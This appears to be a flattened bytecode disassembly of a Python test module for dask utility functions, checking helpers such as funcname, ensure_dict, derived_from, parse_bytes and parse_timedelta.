POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'multipledispatch' CALL_METHOD STORE_FAST md LOAD_FAST md LOAD_METHOD dispatch LOAD_GLOBAL int LOAD_GLOBAL int LOAD_GLOBAL int CALL_METHOD LOAD_CONST <code object foo at 0x7f8ab6bd5030, file "f.py", line 461> LOAD_CONST 'test_funcname_multipledispatch.<locals>.foo' MAKE_FUNCTION CALL_FUNCTION STORE_FAST foo LOAD_GLOBAL funcname LOAD_FAST foo CALL_FUNCTION LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL funcname LOAD_GLOBAL functools LOAD_ATTR partial LOAD_FAST foo LOAD_CONST 1 LOAD_CONST ('a',) CALL_FUNCTION CALL_FUNCTION LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'numpy' CALL_METHOD STORE_FAST np LOAD_FAST np LOAD_METHOD vectorize LOAD_GLOBAL int CALL_METHOD STORE_FAST vfunc LOAD_GLOBAL funcname LOAD_FAST vfunc CALL_FUNCTION LOAD_CONST 'vectorize_int' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL functools LOAD_ATTR partial LOAD_FAST np LOAD_ATTR add LOAD_CONST None LOAD_CONST ('out',) CALL_FUNCTION STORE_FAST func LOAD_FAST np LOAD_METHOD vectorize LOAD_FAST func CALL_METHOD STORE_FAST vfunc LOAD_GLOBAL funcname LOAD_FAST vfunc CALL_FUNCTION LOAD_CONST 'vectorize_add' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 1 STORE_FAST L LOAD_GLOBAL ndeepmap LOAD_CONST 0 LOAD_GLOBAL inc LOAD_FAST L CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 1 BUILD_LIST STORE_FAST L LOAD_GLOBAL ndeepmap LOAD_CONST 0 LOAD_GLOBAL inc LOAD_FAST L CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST STORE_FAST L LOAD_GLOBAL ndeepmap LOAD_CONST 1 LOAD_GLOBAL inc LOAD_FAST L CALL_FUNCTION LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST BUILD_LIST STORE_FAST L LOAD_GLOBAL ndeepmap LOAD_CONST 2 LOAD_GLOBAL inc LOAD_FAST L CALL_FUNCTION LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 3 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST BUILD_LIST LOAD_CONST 6 BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST STORE_FAST L LOAD_GLOBAL ndeepmap LOAD_CONST 3 LOAD_GLOBAL inc LOAD_FAST L CALL_FUNCTION LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST 6 BUILD_LIST BUILD_LIST LOAD_CONST 7 BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'x' LOAD_CONST 1 BUILD_MAP STORE_FAST d LOAD_GLOBAL ensure_dict LOAD_FAST d CALL_FUNCTION LOAD_FAST d COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_BUILD_CLASS LOAD_CONST <code object mydict at 0x7f8ab68a5780, file "f.py", line 501> LOAD_CONST 'mydict' MAKE_FUNCTION LOAD_CONST 'mydict' LOAD_GLOBAL dict CALL_FUNCTION STORE_FAST mydict LOAD_GLOBAL ensure_dict LOAD_FAST d LOAD_CONST True LOAD_CONST ('copy',) CALL_FUNCTION STORE_FAST d2 LOAD_GLOBAL ensure_dict LOAD_GLOBAL HighLevelGraph LOAD_METHOD from_collections LOAD_CONST 'x' LOAD_FAST d CALL_METHOD CALL_FUNCTION STORE_FAST d3 LOAD_GLOBAL ensure_dict LOAD_FAST mydict LOAD_FAST d CALL_FUNCTION CALL_FUNCTION STORE_FAST d4 SETUP_LOOP to 140 LOAD_FAST d2 LOAD_FAST d3 LOAD_FAST d4 BUILD_TUPLE GET_ITER FOR_ITER to 138 STORE_FAST di LOAD_GLOBAL type LOAD_FAST di CALL_FUNCTION LOAD_GLOBAL dict COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST di LOAD_FAST d COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST di LOAD_FAST d COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_ensure_dict.<locals>.mydict' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_CONST 1 BUILD_SET STORE_FAST s LOAD_GLOBAL ensure_set LOAD_FAST s CALL_FUNCTION LOAD_FAST s COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_BUILD_CLASS LOAD_CONST <code object myset at 0x7f8ab68a56f0, file "f.py", line 518> LOAD_CONST 'myset' MAKE_FUNCTION LOAD_CONST 'myset' LOAD_GLOBAL set CALL_FUNCTION STORE_FAST myset LOAD_GLOBAL ensure_set LOAD_FAST s LOAD_CONST True LOAD_CONST ('copy',) CALL_FUNCTION STORE_FAST s2 LOAD_GLOBAL ensure_set LOAD_FAST myset LOAD_FAST s CALL_FUNCTION CALL_FUNCTION STORE_FAST s3 SETUP_LOOP to 120 LOAD_FAST s2 LOAD_FAST s3 BUILD_TUPLE GET_ITER FOR_ITER to 118 STORE_FAST si LOAD_GLOBAL type LOAD_FAST si CALL_FUNCTION LOAD_GLOBAL set COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST si LOAD_FAST s COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST si LOAD_FAST s COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_ensure_set.<locals>.myset' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST STORE_FAST data LOAD_GLOBAL itemgetter LOAD_CONST 1 CALL_FUNCTION STORE_FAST g LOAD_FAST g LOAD_FAST data CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_GLOBAL pickle LOAD_METHOD dumps LOAD_FAST g CALL_METHOD CALL_METHOD STORE_FAST g2 LOAD_FAST g2 LOAD_FAST data CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST g2 LOAD_ATTR index LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL itemgetter LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL itemgetter LOAD_CONST 1 CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL itemgetter LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL itemgetter LOAD_CONST 2 CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL itemgetter LOAD_CONST 1 CALL_FUNCTION LOAD_CONST 123 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL partial_by_order LOAD_CONST 5 LOAD_GLOBAL operator LOAD_ATTR add LOAD_CONST (1, 20) BUILD_LIST LOAD_CONST ('function', 'other') CALL_FUNCTION LOAD_CONST 25 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST (None,) LOAD_CONST <code object foo at 0x7f8ab68a5db0, file "f.py", line 548> LOAD_CONST 'test_has_keyword.<locals>.foo' MAKE_FUNCTION STORE_FAST foo LOAD_GLOBAL has_keyword LOAD_FAST foo LOAD_CONST 'a' CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL has_keyword LOAD_FAST foo LOAD_CONST 'b' CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL has_keyword LOAD_FAST foo LOAD_CONST 'c' CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL functools LOAD_ATTR partial LOAD_FAST foo LOAD_CONST 1 LOAD_CONST ('a',) CALL_FUNCTION STORE_FAST bar LOAD_GLOBAL has_keyword LOAD_FAST bar LOAD_CONST 'b' CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL has_keyword LOAD_FAST bar LOAD_CONST 'c' CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object Foo at 0x7f8ab67814b0, file "f.py", line 561> LOAD_CONST 'Foo' MAKE_FUNCTION LOAD_CONST 'Foo' CALL_FUNCTION STORE_DEREF Foo LOAD_BUILD_CLASS LOAD_CLOSURE Foo BUILD_TUPLE LOAD_CONST <code object Bar at 0x7f8ab6781c00, file "f.py", line 575> LOAD_CONST 'Bar' MAKE_FUNCTION LOAD_CONST 'Bar' CALL_FUNCTION STORE_FAST Bar LOAD_BUILD_CLASS LOAD_CLOSURE Foo BUILD_TUPLE LOAD_CONST <code object Zap at 0x7f8ab6781b70, file "f.py", line 580> LOAD_CONST 'Zap' MAKE_FUNCTION LOAD_CONST 'Zap' CALL_FUNCTION STORE_FAST Zap LOAD_FAST Bar LOAD_ATTR f LOAD_ATTR __doc__ LOAD_METHOD strip CALL_METHOD LOAD_METHOD startswith LOAD_CONST 'A super docstring' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'Foo.f' LOAD_FAST Bar LOAD_ATTR f LOAD_ATTR __doc__ COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7f8ab6781ed0, file "f.py", line 588> LOAD_CONST 'test_derived_from.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST Bar LOAD_ATTR f LOAD_ATTR __doc__ LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD LOAD_CONST None LOAD_CONST 7 BUILD_SLICE BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST <code object <listcomp> at 0x7f8ab6781db0, file "f.py", line 590> LOAD_CONST 'test_derived_from.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST Bar LOAD_ATTR f LOAD_ATTR __doc__ LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST b_arg LOAD_CONST 'not supported' LOAD_FAST b_arg LOAD_METHOD lower CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'dask' LOAD_FAST b_arg LOAD_METHOD lower CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST ' extra docstring\n\n' LOAD_FAST Zap LOAD_ATTR f LOAD_ATTR __doc__ COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_derived_from.<locals>.Foo' STORE_NAME __qualname__ LOAD_CONST <code object f at 0x7f8ab67819c0, file "f.py", line 562> LOAD_CONST 'test_derived_from.<locals>.Foo.f' MAKE_FUNCTION STORE_NAME f LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_derived_from.<locals>.Bar' STORE_NAME __qualname__ LOAD_NAME derived_from LOAD_CLASSDEREF Foo CALL_FUNCTION LOAD_CONST <code object f at 0x7f8ab6781f60, file "f.py", line 576> LOAD_CONST 'test_derived_from.<locals>.Bar.f' MAKE_FUNCTION CALL_FUNCTION STORE_NAME f LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_derived_from.<locals>.Zap' STORE_NAME __qualname__ LOAD_NAME derived_from LOAD_CLASSDEREF Foo CALL_FUNCTION LOAD_CONST <code object f at 0x7f8ab67811e0, file "f.py", line 581> LOAD_CONST 'test_derived_from.<locals>.Zap.f' MAKE_FUNCTION CALL_FUNCTION STORE_NAME f LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST line LOAD_CONST 'inconsistencies' LOAD_FAST line COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST line LOAD_CONST 'b:' LOAD_FAST line COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST line LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_BUILD_CLASS LOAD_CLOSURE decorator BUILD_TUPLE LOAD_CONST <code object Base at 0x7f8ab6781810, file "f.py", line 603> LOAD_CONST 'Base' MAKE_FUNCTION LOAD_CONST 'Base' CALL_FUNCTION STORE_DEREF Base LOAD_BUILD_CLASS LOAD_CLOSURE Base LOAD_CLOSURE decorator BUILD_TUPLE LOAD_CONST <code object Derived at 0x7f8ab67815d0, file "f.py", line 611> LOAD_CONST 'Derived' MAKE_FUNCTION LOAD_CONST 'Derived' CALL_FUNCTION STORE_FAST Derived LOAD_FAST Derived LOAD_ATTR prop LOAD_ATTR __doc__ STORE_FAST docstring LOAD_FAST docstring LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST docstring LOAD_METHOD strip CALL_METHOD LOAD_METHOD startswith LOAD_CONST 'A property' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7f8ab6781a50, file "f.py", line 621> LOAD_CONST 'test_derived_from_prop_cached_prop.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST docstring LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7f8ab6781150, file "f.py", line 622> LOAD_CONST 'test_derived_from_prop_cached_prop.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST docstring LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_derived_from_prop_cached_prop.<locals>.Base' STORE_NAME __qualname__ LOAD_CLASSDEREF decorator LOAD_CONST <code object prop at 0x7f8ab6781780, file "f.py", line 604> LOAD_CONST 'test_derived_from_prop_cached_prop.<locals>.Base.prop' MAKE_FUNCTION CALL_FUNCTION STORE_NAME prop LOAD_CONST None RETURN_VALUE LOAD_CONST 1 RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_derived_from_prop_cached_prop.<locals>.Derived' STORE_NAME __qualname__ LOAD_CLASSDEREF decorator LOAD_NAME derived_from LOAD_CLASSDEREF Base CALL_FUNCTION LOAD_CONST <code object prop at 0x7f8ab6781930, file "f.py", line 612> LOAD_CONST 'test_derived_from_prop_cached_prop.<locals>.Derived.prop' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME prop LOAD_CONST None RETURN_VALUE LOAD_CONST 3 RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST line LOAD_CONST 'inconsistencies' LOAD_FAST line COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST line LOAD_CONST 'Some extra doc' LOAD_FAST line COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME builtins STORE_FAST builtins LOAD_GLOBAL derived_from LOAD_FAST builtins CALL_FUNCTION LOAD_CONST <code object sum at 0x7f8ab67816f0, file "f.py", line 628> LOAD_CONST 'test_derived_from_func.<locals>.sum' MAKE_FUNCTION CALL_FUNCTION STORE_FAST sum LOAD_CONST 'extra docstring\n\n' LOAD_FAST sum LOAD_ATTR __doc__ COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'Return the sum of' LOAD_FAST sum LOAD_ATTR __doc__ COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'This docstring was copied from builtins.sum' LOAD_FAST sum LOAD_ATTR __doc__ COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'dask.dataframe' CALL_METHOD STORE_FAST dd LOAD_FAST dd LOAD_METHOD _dask_expr_enabled CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD xfail LOAD_CONST "we don't have docs yet" CALL_METHOD POP_TOP LOAD_CONST 'inconsistencies' LOAD_FAST dd LOAD_ATTR DataFrame LOAD_ATTR dropna LOAD_ATTR __doc__ COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST <code object <listcomp> at 0x7f8ab6781270, file "f.py", line 646> LOAD_CONST 'test_derived_from_dask_dataframe.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST dd LOAD_ATTR DataFrame LOAD_ATTR dropna LOAD_ATTR __doc__ LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST axis_arg LOAD_CONST 'not supported' LOAD_FAST axis_arg LOAD_METHOD lower CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'dask' LOAD_FAST axis_arg LOAD_METHOD lower CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'Object with missing values filled' LOAD_FAST dd LOAD_ATTR DataFrame LOAD_ATTR ffill LOAD_ATTR __doc__ COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST line LOAD_CONST 'axis :' LOAD_FAST line COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST line LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL parse_bytes LOAD_CONST '100' CALL_FUNCTION LOAD_CONST 100 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST '100 MB' CALL_FUNCTION LOAD_CONST 100000000 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST '100M' CALL_FUNCTION LOAD_CONST 100000000 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST '5kB' CALL_FUNCTION LOAD_CONST 5000 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST '5.4 kB' CALL_FUNCTION LOAD_CONST 5400 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST '1kiB' CALL_FUNCTION LOAD_CONST 1024 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST '1Mi' CALL_FUNCTION LOAD_CONST 1048576 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST '1e6' CALL_FUNCTION LOAD_CONST 1000000 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST '1e6 kB' CALL_FUNCTION LOAD_CONST 1000000000 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST 'MB' CALL_FUNCTION LOAD_CONST 1000000 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST 123 CALL_FUNCTION LOAD_CONST 123 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_bytes LOAD_CONST '.5GB' CALL_FUNCTION LOAD_CONST 500000000 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE SETUP_LOOP to 114 LOAD_CONST ('1s', 1) LOAD_CONST ('100ms', 0.1) LOAD_CONST ('5S', 5) LOAD_CONST ('5.5s', 5.5) LOAD_CONST ('5.5 s', 5.5) LOAD_CONST ('1 second', 1) LOAD_CONST ('3.3 seconds', 3.3) LOAD_CONST ('3.3 milliseconds', 0.0033) LOAD_CONST ('3500 us', 0.0035) LOAD_CONST ('1 ns', 1e-09) LOAD_CONST ('2m', 120) LOAD_CONST ('5 days', 432000) LOAD_CONST ('2 w', 1209600) LOAD_CONST ('2 minutes', 120) LOAD_CONST (None, None) LOAD_CONST (3, 3) LOAD_GLOBAL datetime LOAD_ATTR timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST 2 BUILD_TUPLE LOAD_GLOBAL datetime LOAD_ATTR timedelta LOAD_CONST 100 LOAD_CONST ('milliseconds',) CALL_FUNCTION LOAD_CONST 0.1 BUILD_TUPLE BUILD_LIST GET_ITER FOR_ITER to 112 UNPACK_SEQUENCE STORE_FAST text STORE_FAST value LOAD_GLOBAL parse_timedelta LOAD_FAST text CALL_FUNCTION STORE_FAST result LOAD_FAST result LOAD_FAST value COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL abs LOAD_FAST result LOAD_FAST value BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 1e-14 COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL parse_timedelta LOAD_CONST '1ms' LOAD_CONST 'seconds' LOAD_CONST ('default',) CALL_FUNCTION LOAD_CONST 0.001 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_timedelta LOAD_CONST '1' LOAD_CONST 'seconds' LOAD_CONST ('default',) CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_timedelta LOAD_CONST '1' LOAD_CONST 'ms' LOAD_CONST ('default',) CALL_FUNCTION LOAD_CONST 0.001 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_timedelta LOAD_CONST 1 LOAD_CONST 'ms' LOAD_CONST ('default',) CALL_FUNCTION LOAD_CONST 0.001 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_timedelta LOAD_CONST '1ms' LOAD_CONST False LOAD_CONST ('default',) CALL_FUNCTION LOAD_CONST 0.001 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 242 POP_TOP LOAD_GLOBAL parse_timedelta LOAD_CONST 1 LOAD_CONST False LOAD_CONST ('default',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 276 POP_TOP LOAD_GLOBAL parse_timedelta LOAD_CONST '1' LOAD_CONST False LOAD_CONST ('default',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 310 POP_TOP LOAD_GLOBAL parse_timedelta LOAD_CONST '1' LOAD_CONST None LOAD_CONST ('default',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_ATTR raises LOAD_GLOBAL KeyError LOAD_CONST 'Invalid time unit: foo. Valid units are' LOAD_CONST ('match',) CALL_FUNCTION SETUP_WITH to 344 POP_TOP LOAD_GLOBAL parse_timedelta LOAD_CONST '1 foo' CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'numpy' CALL_METHOD STORE_FAST np LOAD_GLOBAL is_arraylike LOAD_CONST 0 CALL_FUNCTION LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL is_arraylike LOAD_CONST () CALL_FUNCTION LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL is_arraylike LOAD_CONST 0 CALL_FUNCTION LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL is_arraylike BUILD_LIST CALL_FUNCTION LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL is_arraylike LOAD_CONST 0 BUILD_LIST CALL_FUNCTION LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL is_arraylike LOAD_FAST np LOAD_METHOD empty LOAD_CONST () CALL_METHOD CALL_FUNCTION LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS 